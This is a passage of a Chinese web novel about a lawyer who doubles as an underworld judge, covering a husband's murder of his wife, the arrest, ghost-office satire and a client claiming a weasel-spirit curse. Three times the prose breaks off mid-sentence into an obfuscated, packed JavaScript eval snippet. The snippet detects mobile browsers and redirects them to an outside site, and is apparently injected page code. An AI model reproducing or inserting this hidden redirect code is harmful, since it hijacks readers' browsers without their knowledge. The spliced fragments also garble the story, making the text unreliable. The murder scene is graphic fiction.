殷垣懒得装了,直接道:“你自己不清楚吗?” 沉默了会,张安宁的呼吸渐渐沉重。殷垣那张被灯光照亮的脸让他心里阴暗的嫉妒无限滋长,凭什么他就能这么体面的生活? 凭什么自己远比他有钱还得被羞辱? 沙哑的声音回荡耳边,“素素,我真的错了,我那是一时冲动,我自己瞎了眼,猪油蒙了心才干出这种混事。你打我骂我都行,可是我不想离婚。” 张安宁跪在坚硬的大理石瓷砖上,冷气沿着地缝钻进他的腿里。他哭的鼻涕眼泪到处都是,唯一的想法就是绝不能离婚,他现在只有白素素了。 他年纪上来,脸的状态大不如从前,又一直没在娱乐圈混出个什么名堂。 如果白素素和他离婚。 他将会一无所有,包括这间房子,这间在四九城最寸土寸金地方的大房子。 这是他一辈子都买不起的。 白素素恶心地用脚踢开他摸上自己小腿的手,居高临下地看着他:“别碰我,我特么的嫌恶心。你一时冲动?你和她亲亲我我两个月了,这叫一时冲动?” 说着,她从包里抽出照片,“啪”地摔到张安宁脸上,羞辱意味十足:“你睁开眼睛给我好好看看,我有一个字是冤枉你的吗?平时吃着我的,住着我的,这都算了。老娘花钱给你拍的戏投资,就为了让你拿个番位,结果呢?你转头和别的女人上床,真当老娘冤大头啊?” 张安宁哽咽着膝行上前,道:“我错了,我会改,你再给我一次机会好不好。我们毕竟是几年的夫妻了,你就真的忍心和我离婚吗?” 白素素冷笑:“我有什么不忍心的?以前看你有点姿色才答应在一起,现在你这张脸,我也看腻了。正好离婚再找个。张安宁,你是不是太看得起自己了?除了脸,你还有什么?学历,你有吗?能力,你有吗?混了这么多年,但凡好好打磨一下演技,还用得着走后门拍戏吗?” “我今天就把话撂这了,你最好把协议签了。要是多拖一天,你看我怎么整你。” 她瞥了眼茶几上的离婚协议书,抱臂冷眼看着地上男人。 她的眼神和头顶炽白的灯光一样,将张安宁那点虚伪的、可怜的自尊心照的无处遁形。 他半低着头,膝盖被硌得发疼,眼泪糊在脸上,狼狈得如同一条下贱的狗。 凭什么他要过这种生活? 凭什么她就能这么高高在上? 就因为自己没有背景?所有人都要看不起自己—— “你自己好好想想吧,想通了就签了字把协议书快递到我家。”白素素踩着高跟鞋,懒得和他多耗时间。 “啪嗒—啪嗒—啪嗒—” 张安宁使劲闭上眼睛,迎着灯光一摸眼泪,抓起果盘中的水果刀,起身,两步并做一步,从后面抱住她。 “噗呲——” 白素素软倒他怀里。 张安宁眼神直直看着玄关,手上动作不停,接连又捅了十几刀。 一下比一下狠,发泄心里的怨气。 猩红的血沿着刀柄,几乎要打滑握不住,一滴滴落在地上。 “啪嗒—啪嗒—啪嗒—” 茶杯打翻,半杯清茶沿着桌面流出,滴落在地。 张安宁神色复杂地看着殷垣:“你怎么知道?” “若要人不知,除非己莫为。” 张安宁旋即起身,绕开谈话桌,“好吧,殷律师。我本来只是想将离婚协议书送还而已,可你实在太不识趣了。” 他微微一笑,掏出口袋里的折叠刀朝殷垣扑去。 幸而殷垣早有防备,不等他近身,一个侧踢把人踹开。 张安宁连着退了两步,稳住身体。出乎意外地发现殷垣竟然是个练家子,便抡起手边盆栽狠狠砸过去。 殷垣避开的时候,张安宁再次冲上来。 他不顾死活的心理中,肾上腺素几乎将全部潜能激发出来。 锋利的刀尖几乎插进了殷垣脖颈,一只毛笔凭空出现,重重撞到张安宁身上。 手一抖,张安宁整个人已经倒地不起。 判官笔腾空对准他的眉心,下一秒就会扎下去似的。 一支笔,腾空飞起。 张安宁已经不知道该是先惊慌杀人的事情被发现还是眼前这个超出认知的场景。 他盯着毛笔,震惊之色无法言喻。 殷垣趁机将弹簧刀从他手上夺下来扔到一边。 张安宁躺在地上,大口喘气。 殷垣想收判官笔回来,可它就是不动。最后殷垣语气重了两分,判官笔才抖了一抖,回去前还抽了张安宁一巴掌。 “……” “……” 张安宁脸上火辣辣得疼,神情却是恍惚不已。 刚才抽他的真的是笔吗? 几秒钟后,会议室大门陡然被踹开,随着一声大喝,几个持枪的警察闯进来。 “别动——” “给我老老实实——的?” 赵云州带头进来,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667895|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为面临的将是自己那貌美如花、楚楚可怜的兄弟被穷凶极恶的杀人犯劫持现场。 他心里酝酿了一堆谈判话术在看见会议室的景象时,悉数吞回了肚子里。 “……” 他兄弟好端端站着,杀人分尸的嫌疑人躺下了? “你们……”赵云州看着地上狼狈的男人,迟疑地确认道:“这是张安宁?” 柳裕焦急的声音随之响起:“警察同志,你们可一定要救下殷律师啊,他还这么年轻——” 他跟在后面,看见里面场面后也愣住了。 年轻的殷律师冲着柳主任和几个警察用一如既往的冷淡语气说道:“他想杀人,我这是正当防卫。” “……” 地上的张安宁嘶哑道:“你一定会法术——你那个笔,你怎么会操控笔飞起来的?” 赵云州一挥手,“把人带走。” 他反复向殷垣确认:“你真没事啊?” “没事。”殷垣与张安宁对视,即便被瞪也淡淡道:“他刚才被我打了一巴掌,脑子不太清醒。” “看出来了,被抓了还搁着胡言乱语呢。呸,想装精神病蒙混过去,想得美。“赵云州冷笑,“说的什么乱七八糟玩意。” 张安宁喋喋不休什么“法师”“超能力”,听得赵云州好笑,“法师可不学法,学法的那叫律师,文盲!” “……” 殷垣问道:“白素素的尸体找到了吗?” 赵云州摇摇头,“已经在找了,只有冰箱里面冻着的一个头,其他的都暂时没下落,还得去问问张安宁。” 说着,他跟着也离开了,“晚上得熬夜审讯,不跟你说了。拜拜啊。” 目送一群警察轰轰烈烈的抓人行动后,留下律所加班的律师纷纷沉默以对。 在场的刑事律师也不少,杀了好几个人的犯罪嫌疑人都对接过,可亲眼见抓捕现场的还真是第一次。 会客室里一地狼藉,殷垣从中出来,掸了掸袖子,冲着众人略一颔首。 “你们先忙,我要下班了。” 这两天温度下降得有点多,殷垣便一直穿着件及膝大衣,剪裁正好的大衣合丝严缝地包裹他挺直的脊背和纤长手臂。内里是一件普通白色衬衫,没打领带。 简简单单的黑白配色,硬是被他穿出一种秀场顶奢的感觉。他慢条斯理地在所有人目光中走出律所。 柳裕眼睁睁看着殷垣离开,一个字都没多说,甚至有点庆幸,还好殷垣平时比较懒,只动嘴不动手。 律师助理如看神人也,小声道:“殷律才是真人不露相啊。” 其他人:本来就因为怕被机关枪一样的嘴给毒死而不敢惹他,现在更不敢惹了。 那边殷垣驱车回家,发现有人一直在门口徘徊。 对方听见电梯声,回头望过来。 殷垣这才想起来,他今天从外面接来一个人。 “有事?”殷垣问道。 柏扶青自然道:“我来看看你。刚下班吗?。” 殷垣:“嗯。” 他单手插在大衣口袋里,姿态放松,可疏离的态度十分明显。 柏扶青忽然上前,伸手贴上殷垣的脖颈,指尖在皮肤上摩挲几下,语气忽地沉下来,“你受伤了?” “……” 殷垣感觉这人莫名其妙的,想往后退,可柏扶青的手掌卡着后颈,用了大力不让他乱动。 “你有病——”殷垣将他手推开,冷声道:“关你什么事。” 8. 第 8 章 殷垣自己看不到,他的脖颈上有一道深红色的血痕,细细长长像根红丝线绕了皮肉两寸有余。 伤口不深,殷垣本人没任何感觉。 但他皮肤过于白皙,便将这道干涸的血痕衬得异常清晰。 柏扶青被打落垂下的手指微微摩挲,面上露出个滴水不漏的笑:“不好意思,是我冒犯了。不过你不是在上班吗?脖子上怎么会有个伤口?” 殷垣淡声:“意外。” 他还想说有什么事没,没事就走。却见柏扶青变戏法似的从身后拿出一个纸袋。 “我在楼下买的夜宵,你下班这么晚,应该还没吃饭,先吃点垫垫。” 殷垣脸色稍霁,“我不饿。” 可柏扶青铁了心让他收下,一副不接就不离开的样子。殷垣无法,只能收下。 柏扶青离开前,状若无意在殷垣肩头拍了拍,道了声:“灾衰喜荡,福寿资命。” 千年建木自带神力,言出即法随。他话罢,殷垣周身的阴气涤荡一空,浑身松快不少。 隐约察觉到变化的殷垣一愣,“什么?” “没什么,好梦。”柏扶青走进电梯厢。 真是个怪人。 殷垣莫名其妙地回到家里,坐到沙发上,习惯性先去打开电脑查看邮箱。 邱妍下午跑法院拿了材料,已经发给殷垣一份电子版的汇总。 他点进去看会,灯光闪了闪,香灰味蹭的冒出来,白无常熟络地飘进他家里,喊道:“走走走,上班去。你看你上个班都不积极——什么东西这么香?” 他说着伸长脖子四下去闻,左右嗅了嗅,奇怪道:“你在家里放了什么好东西?” 长舌“吸溜”一声,白无常面露渴切,期待地看着殷垣。 “……”殷垣循着他视线,落在柏扶青送的纸袋上,牛皮色的包装袋上用黑色油墨印着个logo。 “楼下面包店的东西,你要吃?” 他打开来,里面就是一块包装好的三明治。 白无常先是不屑:“你见过鬼吃这玩意的吗?”但是想了想,“我尝一口也不是不行。” 他凑近,刚露出个白森森的笑,即将被吸走精气的三明治陡然被殷垣挪开。 殷垣拆开包装纸,咬了口。 “……” “你怎么回事?”白无常被他出尔反尔弄得大怒。 “地府不包饭,我得先垫垫,毕竟一会还要加班……”殷垣幽幽乜了他一眼。 白无常:“……” 说的也是这个理。 但是这味实在香,馋得他口水直流,眼巴巴看着殷垣道:“你明个给我也带块,我尝尝啥味。” 殷垣三两口吃完了面包,一边收拾东西一边问道:“白素素被你送走了?” “没呢,她死活不走。又瞧见了地府发的招聘信息,居然说要留下来建设地府……”白无常说道:“她要是跟你同行,说不定就能顶替你的位置了。” 殷垣一点失业的危机感都没有,甚至还给他内推别人,“我们律所主任能力比我强,你可以考虑一下他。” “活的死的?活的可不好抽魂。” “……”殷垣微微挑眉,“开个玩笑。虐待老人是犯法的。” 远在四九城另一头的柳裕凭空打出两个喷嚏,纳闷地摸了摸鼻子,仰头看天。 谁在念叨他? …… 今晚的城隍庙格外热闹,一排昏黄的灯笼下,两排死气沉沉的人排队站在院中,有鬼吏搬了两张桌子,让他们一一上前写明姓名年龄。 怪异的是,鬼吏都是长袍高靴,一副古人模样呢。那两排的人却都身穿格子衬衫,脸上毫无例外都架着眼镜,充斥着现代气息。 殷垣一身红衣出现在这格外显眼,有认识的鬼吏迎上前招呼:“老爷,您来了。” “这是怎么回事?”殷垣问道,身边白无常飘飘然靠近,解释道:“这不是地府信息化嘛,鬼吏人手不够,找了一些外援来帮忙。” 格子衫、黑镜框……殷垣觉得这群人举手投足间散发出熟悉的感觉。 那边对话传来:“姓名年龄专业?擅长做什么?” “C++,C#,JAWA,Phython……” “我主要负责程序前端……” 有鬼吏听不懂的词就让他们自己亲自来写纸上。 这一连串下来,远远张望的殷垣突然灵光乍现,“这都是……程序员?!” 鬼吏点头应是。 白无常惨白着脸笑眯眯道:“术业有专攻。” “你们为了发展信息化,特意去勾的活人魂?” “耶——”白无常摆摆手,“哪需要这么费事,每年猝死的程序员多了去了,临近CBD和工业园区一条路上的鬼,一半都是程序员。” 殷垣服了。 他想反驳对方都没有理由,仔细想想,居然还有点道理。 就是这道理有点地狱。 “这些人要根据自己的擅长选择去前端或者后端编写运行代码。” 白无常说着,看着这隆重的招聘现场,不禁感慨:“他们也是赶上了地府改革的好时候了,以前哪有这好事。” “好事?” “双休加八小时工作制,对他们来说已经很不错了叭!” “而且我们招人只用一场面试,哪像人间搞出一面、二面、三面、群面、压力面,弄这么隆重还没几个钱,还不够麻烦的。” 殷垣:“……” 院子里的招聘会还在进行中,白无常出门去勾魂,殷垣已然飘到了他的判官工位上。 没一会,白素素跟着飘了进来。 经历了一天时间缓冲后,她情绪冷静下来。两只眼睛定定望向殷垣,抿直了嘴唇。 殷垣以为她要打听张安宁的情况,便说道:“警察已经把他抓捕归案了。” 白素素却摇了摇头,绷着情绪道:“我能不能再见一次我父母?” 凡鬼魂有托梦愿景,一律由判官审阅,非枉死冤魂,陈情所需,皆不能许诺。 殷垣还记得“实习手册”有所记载,这白素素新丧没过,托梦给亲人情有可原。他也懒得多计较,用判官笔写了张条子递给她。 纸焚而魂散,白素素道完谢后顷刻间便消失在殿内。 鬼吏送案宗过来给他看,目睹这幕,笑着奉承:“老爷当真是活佛心肠,这种新死小鬼的无理要求都能答应。” “无理要求?”殷垣瞥他一眼,“回家看看,理所应当,有什么不能答应的。” 鬼吏搓了搓手,压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667896|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音道:“老爷是新来的,自然不知道咱们这规矩。这可是都城隍庙,谁进来不先刮掉一层油水才能办事?” “也就是现在管得严,放以前啊。有人来办事,那得准备三份钱,上下打点好了才能办成事。” 俗话都说“阎王好见,小鬼难缠”,殷垣对这种话的理解又加深了几分。 心下也明白了白无常老是念叨的地府改革究竟是要改什么革。 看来就是这股中饱私囊的歪风邪气。 鬼吏自认为和殷垣多说了两句话,两人比旁人熟络几分,话不禁也多了两句。 直到看见殷垣没什么表情的脸才尴尬地停住,笑笑:“老爷不用担心,这虽是城隍庙,可城隍老爷目前在泰山,这里您是老大,我们唯您马首是瞻。” “好啊。”殷垣垂眸轻笑:“看见我背后的几个字了吗?回去抄一万遍交给我。” 鬼吏惊愕抬头,殷垣背后墙上大匾上书四个字“清正廉明”。 “……这”鬼吏踌躇不安。 殷垣站起身,凭借身高微微俯视他,义正辞严:“建设法治地府,思想觉悟不能松懈。你让其他鬼一块抄一万遍,全都交给我。” 鬼吏离开时一脸恍惚。 其他鬼吏见状,凑过来问道:“判官老爷说啥了?” 这位鬼吏脱口而出:“正道的光。” “啥?” …… 经过通宵审讯后,张安宁总算受不住炽亮的光照和一直不停歇的审问,将杀害白素素的犯罪事实吐露个干干净净。 赵云州心里一块石头落地,离开审讯室的脚步都轻快起来。 有人在为破案的顺利欢呼,只有刑警队长若有所思地将赵云州叫到一旁,认真问道:“案子破了,你也该说说怎么突然就发现了死者死讯的事情了吧。” 赵云州脑海中忽地闪现白素素幽怨阴冷的嗓音,凭空打了个寒颤。 刑警队长看得奇怪,“想什么呢?有什么话不能说?” 赵云州舔了舔干涩的嘴唇,四下打量一圈,确定没多余的人后,郑重其事道:“队长,你相信世界上有鬼吗?我被鬼托梦了。” 警员欢呼声被习习夜风穿过警局长廊送来,两人不禁都沉默了。 赵云州是回忆昨晚的托梦。 刑警队长则是在反思,他最近是不是给赵云州压力太大,把好好的一个人逼疯了。 “你胡说八道啥呢?亏你还是个警察!” 赵云州煞有介事:“没开玩笑,我昨天晚上梦到了死者,就是她托梦给我的。” 刑警队长板着脸教育他:“你也是有五六年从警经验的老同志了,怎么还有这种封建迷信想法,什么怪力乱神的东西都敢说,回去把入党宣言给我抄一百遍。” 赵云州大惊失色,“我没空。” “你都有空琢磨托梦了,没空写宣言?”刑警队长当场拍定:“今晚就写,后天交过来。” 他冷漠地离开原地。 赵云州深深叹气,感觉到了电影里孤胆英雄总要被人误解的心情。 果然艺术源于生活,天将降大任于斯人也,必先苦其心志。 为了人间和地府两界的正义,赵云州觉得自己吃点苦也不算啥。 总有一天,他们会理解自己的! 9. 第 9 章 天光微微泛出点鱼肚白时,四五辆警车闪着红灯飞驰过街道,径直开进一处高档小区。 目睹这种场面的路人纷纷报以吃瓜的最高礼仪,睁大眼睛去看。 “咋了这是?出什么事了?” 眼看警戒线绕过其中一栋住宅拉开,有同楼的住户特意跑下楼来看,顺便骂道:“有家夫妻闹离婚,那男的把老婆杀了还分尸。警察来找尸体来了。” “靠,我新买的房啊,这就成了凶宅!” “谁说不是呢,真缺德,离婚好好离不完了,居然还杀人。” 有的人还在事不关己地围观着,但随后,他们得知一件更惊人的消息。 警察在下水管道里找到了人体组织。准确来说,是在白素素家楼下的住户家里找到的。 邻居这几天一直在公司加班,好不容易回到了家里,想开火做个饭,却发现连通厨房的下水管道被堵了。 他正想给物业打电话兴师问罪,不想电话还没拨出去,房门先被人敲响了。外面是两名警察,出示了证件后,询问道:“前天你在家吗?有没有注意到什么不对的动静?” 邻居脸上挂着黑眼圈,不耐烦道:“我没在家,什么也不知道,别来问我。” “你确定没在家吗?”赵云州重复道。 “我都说了,我没......”邻居突然顿住,“不对,我有回家。前天我请了半天假回家休息。当时只睡了个觉而已......楼上的人吵得不行,我才上去跟他交涉了一下。仅此而已。” “是吵架吗?”赵云州问道。 “不是,是剁骨头的声音,咚咚咚——梆梆响,大晚上真的是要烦死了。”邻居说到这,发觉这警察对楼上的人很感兴趣,不由问道:“咋了这是?是不是楼上那个男的出了事?□□还是吸毒啊?我听说明星就爱干这事。” “还不能说,我们能进你家看看吗?” 邻居虽然不明所以,到底看在警服的面子上,侧身让出来路,跟在两人后面说道:“家里有点乱,我天天加班都没时候收拾。我也是才回家,刚想做点饭,也不知道怎么回事,下水管道突然堵了,真是奇怪。” 赵云州跟同事对视一眼,直接接着喊来痕检和法医。几个人围着下水管忙碌。 邻居看得莫名其妙,心道,现在的人民警察都这么尽职尽责的吗?下水管道都能帮忙通一通。 直到,他眼睁睁看见一大团头发从里面掏出来,几根细长浮肿的肉块挂在发丝上一块放到地上...... 一股难以言喻的恶臭、猛烈不容拒绝地铺面迎来。 邻居捂着嘴转身将胃里酸水吐了一干二净。 好半天,他才慢慢缓过来,浑身直冒冷汗,老天爷,那居然是人的手指。 再联想到他说过的楼上邻居半夜剁肉声,还有什么不明白的。 和邻居一样,邱妍也是今天才得知白素素出事的消息。 她听闻事情后,便急不可耐找到殷垣的办公室,直接推门进去,“殷律——” 彼时,殷垣正在接打电话,三两句交代完事情后,转而问手足无措的邱妍:“什么事?” “白小姐,她、她真的被杀了吗?”邱妍抿了抿唇,问道。 “是。” 邱妍记忆中白素素明艳动人,怎么也不明白就过了一天,好好的人居然已经死了。第一次这么直观地体会到死亡,她一时说不出来什么滋味。 殷垣叹了口气,说道:“最近辛苦你了,今天给你放一天假。” 邱妍:“白小姐的死是因为我们那个离婚案?”她难以接受,“为什么啊,离婚而已,怎么会闹成这样?” 殷垣:“你上学时,老师没告诉过你,离婚纠纷是最容易发生恶性暴力事件的吗?离婚如果这么简单,就不会有专业负责婚姻的律师。也不会每年有这么多婚内杀人案件了。” “......”邱妍逐渐冷静下来,知道自己刚才的话实在天真,沉默片刻后,她说道:“殷律,我能不能去跟进白小姐的案子?我知道这是公诉案件,律师发挥作用不大,但是我、我就是想努力一下,让罪犯得到最高量刑。” “你是实习律师。”殷垣提醒道,邱妍并没有独立办案的权力。 “我知道。”邱妍顿了顿:“我可以不接案子,我去找白小姐的家人,我了解程序怎么走,至少能给他们分析分析。最起码,我想帮帮忙。” “殷律——” “......” 殷垣:“行了,别哭了。这个案子,我已经接了。你不用着特意去找人,有时间就帮我多给法院打几个电话。” 霎时间,峰回路转。邱妍眼眶通红,惊讶地看着他,“您什么时候接的?” “你进来的前一分钟。”殷垣道:“白素素家人联系我了。” 邱妍尴尬地摸了摸眼眶,心里想的却是,殷律师看着面冷,没想到还挺恶趣味,有话不早说出来。 殷垣让她去洗把脸,然后一块去警局调案情资料。 邱妍瞬间打起了精神,忙不迭照做。 正如邱妍自己说的那样,这个案子供词完整,证据链清晰,直接板上钉钉地将案子敲定下来。可以直接送检然后由检察院提起诉讼了,律师在其间发挥的作用并不大。 中间,张安宁要求见了一次殷垣。 隔着铁窗,张安宁原本就瘦削的脸更是深深凹陷下去,眼底乌青,下巴一团青茬,再没有往日当明星的荣光。 看见殷垣的时候,那双呆滞无光的眼睛才动了动,嘴唇翕张:“你来了。” 殷垣:“你要求见我,不是想说废话吧。” 张安宁深深呼吸,脸部肌肉都在颤抖,从上至下盯着殷垣,嘶哑着声音问道:“你们到底是怎么发现的?明明那天没有人在场,她的父母那边也有我发的信息,警察是怎么发现她失踪的?” “这个世界上从来就没有完美的犯罪,你以为自己很聪明吗?”殷垣淡淡道:“自命清高又没有与之匹配的能力,遇见不公就觉得自己是最大的受害者,全世界都欠你。” 张安宁急促地喘息两下,恶狠狠瞪着他。 殷垣:“告诉你个好消息,热搜上关于你的词条爆了。你终于在娱乐圈火了。” “嘭——”张安宁用力拍桌子,手拷啪啦一声牵制着他想要离开桌面的手腕。 他咬牙切齿:“我这一切都是被逼的,如果白素素不和我离婚,我不会杀她。我明明都向她道歉了,是她自己不识相,是她自己找死。” 他激烈的态度引来身后的狱警,将他拖走。 张安宁依旧盯着殷垣大喊,声音越来越远:“我知道你有特殊的能力,你有种就让白素素杀了我——” 张安宁离开了会见室,殷垣又坐了会,才起身离开这里。 送他的警察说道:“赵队说这人的精神应该有点问题,我一开始还不信,现在总算是亲眼见到了。据说他还老是说梦里遇见死去的受害者找他索命,这怎么可能。” “你说的对。”殷垣笑了笑,“死人怎么能索他的命,法律才会给他应有的惩罚。” 正式开庭得等上几个月,殷垣等着诉讼期间,见了几次白素素的家人。 直到一次会见后,白母说出来了请他做代理律师的原因:“素素死后的第二天,我梦见她对我说让我来找你。她相信你的专业能力。” “希望素素看见这幕能安心地走。” 殷垣看着憔悴的白母,心想,她大概还不知道,白素素正刻苦地备考地府公务员呢。 说不定再过段时间,两人就是同事了。 但面上,他滴水不漏道:“谢谢肯定,我会尽力的。” 当晚,殷垣回家正好撞上拿着外卖回来的柏扶青。两人视线交汇几秒,他正想若无其事地移开目光,却听柏扶青道:“你下班一直这么晚?” 柏扶青上次在人间行走还是一千多年前,那时候的人日升而做、日落而息,跟现在的生活节奏完全不同。 “......”殷垣觑了眼他的外卖袋,“所以你一直没找工作?” 柏扶青讶然:“我为什么要工作?” “......” 殷垣平生第一次听见有人能这么理直气壮地说出这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667897|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,本来懒得说话,也不禁说了句:“你知道四九城的物价水平多高吗?不工作,你哪来的钱消费?” 柏扶青理所当然:“有人给我。” 穷奇开公司拿的是他的钱,自然每年要给他一笔分红。 殷垣却误会他指的是花姨,闻话,忍不住蹙眉:“你就一直靠别人养?” 柏扶青以为他在羡慕,忍俊不禁道:“其实你不用这么累,整天去上班的。想要钱,我也能给你。” “......” 殷垣挑剔的目光落在柏扶青挂着笑意的脸上,刀刮似的一寸寸扫过去,再看不上他的做派也不得不承认,柏扶青这个人还是有点资本的。 光靠脸都能让他不用发愁生计。 察觉他视线的柏扶青挑着眉看去,礼貌问道:“你需要吗?” “......不需要。”殷垣冷漠地走进电梯,“我有工作,还不至于靠别人要钱。” 柏扶青无所谓地耸耸肩,继续搭话:“昨天晚上我有事找你,但是敲了一会门,你一直没理我。” “我晚上加班。” “你今天也加班?” 殷垣抿着唇:“我干两份工作。” 柏扶青眼神瞬间变了,本来温和的目光带上点同情和怜惜,轻叹道:“你要实在困难就说出来,我或许能帮你。” “......” 殷垣没忍住,“你住着我的房子,说要帮我?” 以四九城现在的房价,这个地段的一套房子至少千万起步。 殷垣兼职打工只是要命,但他不缺钱。 最近上网冲浪太开心的柏扶青差点忘了自己寄人篱下的人设了。“......” 是有点道理。 殷垣没钱,按理说自己应该比他更穷点才是。 殷垣对这种不求上进、吃软饭的男人没什么好态度,电梯开了门,他就直接下去,一句招呼也没打。 在开门时,他在心里盘算,得找个时间跟花姨说一说柏扶青的事了。 知道是他在还人情,不知道还以为一对一定点扶贫呢。 而楼上的柏扶青则在若有所思该怎么悄悄给殷垣塞点钱。 ... 翌日一早,殷垣的律所来了个特殊的当事人。 他穿着黑色冲锋衣神神秘秘地来到律所,见到殷垣后,忍不住问道:“律师,你相信这个世界上有超自然的事情存在吗?” “?” 殷垣下意识翻看起这人带来的案件材料,上面给的案情罪名是利用封建迷信破坏法律实施罪。 男人还在喋喋不休,“我叫单易,接下来我要说的事情可能有点夸张,但是它绝对是真的!殷律师,这个世界上有鬼!” “......” 殷垣打断他,“等一下,单先生。我有两点要问你,这个案子进行到了哪一步了?已经正式立案了吗?” “还没呢,我找朋友问了,他说很大可能就是这个罪名。到了哪一步......昨天晚上刚被带走算哪一步?” “......”对话都没超过两句,谁知道算哪一步? 不过殷垣至少已经知道这人应该还没转移到拘留所正式羁押,他面不改色示意他往下讲讲经过。 单易道,“这事的嫌疑人是我最近找的一个大师。前提先说好啊,我说这个世界上有鬼,你也要相信这个世界上有鬼,这样我们才能有机会去辩护。这压根不是封建迷信,这是真实的事情,警察怎么就是不信呢!” “......” “你们是传教的道士?”殷垣问道。 单易:“哎呀,不是不是,他是出马仙。我找他给我帮忙,结果被人举报了,我身上的事还没搞完呢,那个大师居然就进去了。你说让我怎么办嘛——” “是传说中供奉胡黄白柳灰五大仙家的人吗?我记得东北有这个说法,叫什么堂口。”邱妍忍不住插话进来,一脸兴致勃勃的。 “啊对对对,小姑娘,你也听过啊。” 邱妍谦虚道:“小说里面看过点。” “......” 10. 第 10 章 殷垣打断两人探讨小说剧情的话,继续问道:“方便说说具体经过吗?” 单易起身把会客室的窗帘拉上。厚重的布遮住所有阳光,他这才把外套脱下来。 灯光将他身上的模样照得一清二楚。 单易为了方便,在里面只穿一件背心,两条胳膊裸露在空气中,远远看着像是被煎熟的肉块,近处才能看见红肿下溃烂的皮肤,几十道长长的红印层层交叠,少有完好无损的皮肤。 邱妍直接倒吸一口冷气,不可思议道:“这是怎么搞的?” 单易苦笑:“我也不知道,莫名其妙就变成了这样,现在还越来越严重。” 殷垣微微眯起眼睛,瞧见单易皮肤上溃烂的伤口有些像兽爪抓挠出来的。 便问道:“你没去看医生反而找了个大师来看?” “我去医院了,医生开得药别说有用了,我碰一下都疼得要命。”单易叹气:“说出来你们不信,但是这伤口真的是我一觉醒来就这样了。” “诡异不诡异?这让我怎么能不相信这个世界上有鬼。偏偏医生一口咬定这就是正常的伤口。” 邱妍……邱妍其实是将信将疑。悄悄错眼去瞅殷垣,不料他起身,竟然去拽当事人的胳膊细看。 “!” 单易刚才光顾着诉苦,没注意律师的脸。此刻猛地一拉进距离,他忍不住拿眼乱瞟,滑过殷垣挺直的鼻梁,薄红色的嘴唇,然后落到他瓷白修长的手指上。 被捏住的一小块皮肤烫的惊人。 单易忍不住问道:“殷律师,你单身吗?” “……” 殷垣:“这是律所,不是婚介所。” “口误,口误。”单易尬笑着找补,“我想问你在看什么来着。” 他胳膊上的伤口处,红肿是血肉边泛着白,撕裂的边缘较为整齐,就像是被利刃刮开的。 幸好是天气不热,不然这长期不愈合的伤口必定要流脓发痒。 殷垣比对了下自己的手,越发肯定是被什么兽爪撕裂的。 “你找的大师怎么解释这伤口的?”他问道。 单易想了想,“大师说这是我得罪了黄大仙,大仙给我的报复。这大师是白家堂口的,本来就要请灵上身,找那黄大仙谈谈,结果请到一半警察上门了。” “黄大仙?黄鼠狼?” 东北五大仙家,狐黄白柳灰,分别指代狐狸、黄鼠狼、刺猬、蛇、老鼠。 “啊对对对,您也看小说啊。”单易道。 “……” 殷垣:“略知一二。” “您知道那更好了。”单易道:“那大师是有真本事,怎么能说是搞封建迷信呢。您可得想办法把他捞出来。他要是被关个十天半月,我这身上这病可怎么办。” 殷垣松开他,继续问道:“你怎么得罪黄大仙的?四九城现在野生黄鼠狼可几乎见不到了。” “不是在四九城,是我上个月跟着朋友去东北玩。说出来你们可能都不信,我当时遇上黄大仙讨封了。” 单易还记得当时他跟朋友吃完夜宵已经接近凌晨三点,两人都喝了七八瓶啤酒,虽然没全醉,但也是晕晕乎乎地往酒店走。 在过红绿灯路口时,一只毛茸茸的手突然从他大腿上摸。 单易身边只有他朋友,是一个一米八的东北汉子。 便纳闷问道:“你大爷的,把手往哪摸呢?” 朋友莫名其妙:“谁摸你了?” “不是你还能有谁?”单易无语,“滚滚滚,老子不喜欢你这款。” 可那只手非但没离开,反而开始上下摩挲起来,颇有种想扒他裤子的意思。 单易烦不胜烦,正好有辆车开着近光灯驰过,借着灯光往下看,对上一双绿油油的眼睛。 登时,全身的酒气化成冷汗,浸湿单易后背。 他哆哆嗦嗦道:“这、这、这啥东西?” 那眼冒绿光、仅到他膝盖高的东西,发出低哑的人声,问道:“你看我像人还是像神?” 朋友反应过来,扯了扯单易的胳膊,示意他好好说话。 单易脑子一抽,也不知道怎么想的,居然脱口而出:“我看你像社会主义中为人民服务的神。” 黄鼠狼一声尖叫,气急败坏道:“谁让你加定语的,你会不会说话!” 它一溜烟跑开了,留下单易还在沾沾自喜,觉得自己真聪明。 朋友捂脸给他解释:“这些大仙讨封,你说什么,它就要成为什么。你这不是又给大仙设了个关卡吗?” 